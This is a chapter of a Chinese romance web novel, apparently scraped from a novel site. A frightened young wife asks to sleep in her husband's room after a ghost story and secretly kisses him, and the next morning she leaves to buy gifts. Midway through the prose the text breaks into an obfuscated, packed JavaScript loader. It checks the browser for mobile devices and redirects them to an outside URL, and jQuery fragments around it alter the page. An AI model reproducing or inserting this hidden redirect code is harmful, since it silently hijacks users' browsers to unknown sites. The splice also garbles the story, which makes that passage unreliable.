陈昭宁从来没有想过,侯府还有小满这等清新脱俗的人物。她所理解的不俗套的故事,应当是与世俗歌颂的凄婉爱情或者精忠报国故事无关,少见又新奇的故事。
而不是荒郊野外的古井里时不时传出女子曼妙歌声的这类惊悚故事!尤其是最后那只落在被满门屠尽的仇人家门口的那只带血的绣花鞋,实实在在让陈昭宁吓出了一身冷汗。
她何止不困了,现在眼睛都一刻不敢闭上了好吗!
小满居然比街巷里的说书先生还会讲故事,好几个大喘气的功夫,彻底让陈昭宁又怕又好奇后续,可听完后,只剩下怕了。
她还怎么睡!
陈昭宁牙齿打颤,挣扎着从床边坐起,冰凉的小手紧紧握住了小满的手,“告诉我,这个故事不是真的对吧?”
“当然呀!这是我奶奶小时候常常给我讲的鬼故事,每次听了都觉得回味无穷呢,只要听一遍,我就能睡个好觉!”小满用另一只手拍拍自己的胸脯,打包票。
你这是被吓晕了吧?陈昭宁默默想着。听完谁还能睡得着?缺心眼吗这不是!
“嗯……你晚上就在这里陪我行吗?”她弱弱地问。
小满却一脸为难,“夫人,您是知道的,我干活比旁人慢,只能利用旁人睡觉的工夫赶工……现在还积了不少事情没做完呢,实在是不能再拖延了,否则赵管事要罚我的俸。您要实在是害怕,不如我送您去侯爷院子里?侯爷那可是在沙场上积累了一身煞气,鬼神都不敢近身呢!”
“……”陈昭宁咬牙,“侯爷应该已经睡下了吧,深夜去叨扰,总归不合适……”
“这有什么!他可是您夫君呀!而且您不也出借他半张床这么久了么?他不过还你一天而已。横竖都是侯爷赚得多呢。”小满继续鼓动着。
“好、好像也是这个道理。”陈昭宁迷迷糊糊地点点头。
片刻后,陈昭宁在小满的陪同下,站到了陆轻鸿房门口。
小满这时候倒是十分积极,把门拍得震天响,里面的人绝对不会听不到。
陆轻鸿果真披衣而起,看到了穿着单薄衣服出现在房门口的陈昭宁。陈昭宁怀里还紧紧搂着一个枕头,正精神奕奕地望向他。
“深更半夜不睡觉,你要去做贼?”陆轻鸿问她。
小满见陆轻鸿一个眼神都没扫过来,便知道自己没得罪侯爷,也该功成身退了。明儿她便去找赵管事邀功求赏!
陈昭宁的脚在地上磨蹭了半天,低着头结结巴巴地说道,“啊……就、就、就是过来看看你。也没别的意思……”
“……”陆轻鸿知道小满绝对从中捣鬼,但还不知是何缘故,正等着陈昭宁“坦白从宽”。
月光下的陆轻鸿披散着如墨长发,五官的阴影显得柔和而流畅,周身有着一种不可侵犯的冷冽气质。
陈昭宁觉得自己脑袋清醒了些,她猛地哆嗦一下,心里萌生退意。大半夜跑到一个男子房门口,求他让自己进去打地铺,这是一个郡主该做的事吗!传出去多丢人!
“阿嚏!”比起她的蹩脚借口,一个猝不及防的喷嚏反而先来。陈昭宁搓了搓鼻子,朝陆轻鸿露出一个讨好的笑容。
陆轻鸿沉沉叹息,“先进来吧,一会儿冻病了。”
陈昭宁思索再三,还是厚着脸皮跟进去了。因为屋外的树影和寂静氛围,总让她忍不住想起鬼故事里的荒郊野外,她真的害怕。
“陆轻鸿,我过来借宿一宿行嘛?”陈昭宁硬着头皮问他,“反正我也借你住了很多天了,你就当是还我的……”
“……”陆轻鸿对她的这个要求有些意外,“到底发生了什么?”
“我刚刚听了鬼故事,一个人睡有些害怕……”陈昭宁也顾不得丢人,现在是她有求于陆轻鸿,哪还敢遮掩。
陆轻鸿强忍笑意,板着脸点了点头。
“你人真好!”陈昭宁得了首肯,准备推开门去让值夜的下人拿棉被打地铺。
“回来。”陆轻鸿的心里几乎是立刻生出了捉弄陈昭宁的念头,他咬紧后槽牙,尽量正经地说道,“你还是睡床上吧。之前听闻有的鬼只会在地上爬来爬去,你既然害怕,还是不要打地铺得好。”
“……”陈昭宁果然不再纠结,立刻将两只鞋子踢开,连滚带爬地躲在了床的里侧。
陆轻鸿看着如同惊弓之鸟一样的陈昭宁,忽生感慨,鬼可真是一个好东西。只要打着它的旗号,许多他原本不便此刻开口提的要求,陈昭宁都会毫不犹豫地满足他。
他告诉陈昭宁,自己牵着她的手,鬼就不会在她睡着后把她绑走。陈昭宁乖乖照做了。
他告诉陈昭宁,不做亏心事,不怕鬼敲门。平常最好不要撒谎,否则心虚就容易引鬼上门。陈昭宁老老实实答应了。
他还告诉陈昭宁……
陈昭宁虽然也对陆轻鸿这么了解鬼这种生物而感到奇怪,但是想起他那孤寂的童年时光,觉得他研究了一些偏门事物打发时间也不是不可能,所以并没太放在心上。有个人懂这些,总比自己抓瞎要强。
这个夜里,她对陆轻鸿的敬佩又更多了一分……
陆轻鸿身上真暖和,隔着衣服都能感受到从身体里散发出的热量,陈昭宁一路走过来,身子都被夜风吹凉了,她趁他不注意,一点一点朝热源靠去取暖,等她几乎手臂贴着陆轻鸿手臂时,陆轻鸿一个翻身,将她搂在了怀中。他的手顺势搭在她单薄的后背上。
“?”陈昭宁抬头,瞪大了眼睛看他。这个距离,未免太近了!
“要是有鬼从门外进来,我挡着它,不让它发现你。”陆轻鸿用另一只手撩开陈昭宁额前遮挡了眼睛的碎发,义正言辞地解释道。
“……”陆轻鸿人还怪好的。她配合地往被子里缩了缩。
死道友不死贫道,自己绝对不能浪费他的牺牲啊。
房间留了两盏蜡烛未熄,屋子里有昏暗的亮光,陈昭宁听着耳畔传来的均匀呼吸声,逐渐也有了一些睡意。
也许是小满的猜测十分正确,待在陆轻鸿附近,她半个时辰前对鬼故事的恐惧竟慢慢消去,内心无比平静。
陆轻鸿的睫毛真长,而且生长得十分密实,眼睫投下的阴影遮住了他的眼睛,他的嘴唇抿成一条黑色的实线,颜色红润,看起来软软的。
陈昭宁小心翼翼地抬起手,在他的唇中央点了一下,指腹温热,触感与她所料想的一样。
陆轻鸿应该算是睡熟了吧?
陈昭宁发觉了自己的小心思,怎么也不愿无视。她想亲他。是没有任何缘由的突发奇想。
陆轻鸿的睡颜也很好看,因为少了那双看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644051|205445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
透人心的丹凤眼的注视,陈昭宁觉得此刻的他看起来比任何时候都更无害。
只是碰一下下,就当是她见色起意。成日看到一个美男子在自己身边晃荡,哪能真的岿然不动?她又不是什么圣人。
她不说,陆轻鸿就不会发现。只这一次。
她慢慢抬起头,连呼吸都刻意放轻,看着那张慢慢放大的脸,她的心跳不由自主地加快,耳朵里的“咚咚”声一刻不停。
唇瓣才相碰的刹那,陈昭宁并未觉得得偿所愿,反倒是心头涌动着类似苦涩的情绪。她快不明白自己的想法了。
数月以前,她还坚定地认为自己喜欢的是陆江风,可与陆轻鸿成亲后,该说是日久生情还是什么?她发觉陆轻鸿在她心中的分量隐隐有了增加的势头。
可是这份感情只是自己的一厢情愿而已,陆轻鸿从始至终对她都是包容忍让,没有掺杂一点他的私情。倒是自己险些陷进去。
如果不是两情相悦,那还是各自安好吧。她不愿靠着做小伏低来乞求陆轻鸿的怜悯同情,也不想仗着女子的名节来逼迫陆轻鸿服软低头。就都藏在心里吧,今夜这个“偷”来的吻过后,他们还是一对即将散伙的假夫妻。
*
陆轻鸿醒来时,惊觉怀里一空,陈昭宁不知是何时起床,此刻已经看不见她的身影了。
他的半条胳膊都是麻木的,因为一晚上没动过,血液像是堵塞在了手臂之中。陆轻鸿无意识地抬起另一条还有知觉的手,轻轻触碰了一下自己的唇角。须臾,他垂下手,微微牵起嘴角,无奈地摇了摇头,他的眼神里满是温柔。
“侯爷,您醒了吗?”
门外传来下人例行的问候声,陆轻鸿常年都是这个时辰起身,侯府的下人也在这个时候来等他吩咐。
“嗯。”陆轻鸿答应了一声。
“夫人晨起说有要事,不在府里用早膳,她让小的跟侯爷您说一声。”
陆轻鸿有条不紊地更衣,“知道了。”
而后,他又似是自言自语一般,低声念叨了一句“胆小鬼。”
陈昭宁自认为并不是为了逃避陆轻鸿而早早出门,她是难得有正经事要去做的。若是不早些出门准备,怎么在王老将军那里显示出自己的诚意来呢?
谷雨今日才探亲回来,正巧碰到陈昭宁要出门。她不由分说地顶替了要跟着陈昭宁出来的小满,陪陈昭宁挑选一些合规制的登门礼。
王老将军的喜好陈昭宁摸不准,所以只能让在宫中历练多年的谷雨帮她挑选一些与他年龄、地位相符的重礼,就算没吃过猪肉,谷雨肯定也是见过猪跑的。过去皇帝常赏他们有功之臣什么,陈昭宁便可以效仿一二,给一些稍微次一些的,也就大差不差了。
等她们清点完购买的东西时,已经接近晌午了。陈昭宁还是纠结着不肯回侯府,让谷雨陪她在外面随便对付一下。
路过登临意时,谷雨无心提了一句,“这茶楼似乎是侯爷的产业,之前听人说里面的茶点都做工精巧。郡主,您吃过吗?”
“还没。”陈昭宁犹豫了一会儿,还是转个圈,朝着身后的登临意走去,“要是不好吃的话,回去我就跟陆轻鸿算账。”
二人正说着闲话,一辆奢华无比的马车从二人身旁疾速驶过,带起一阵浓浓的烟尘,久久未散。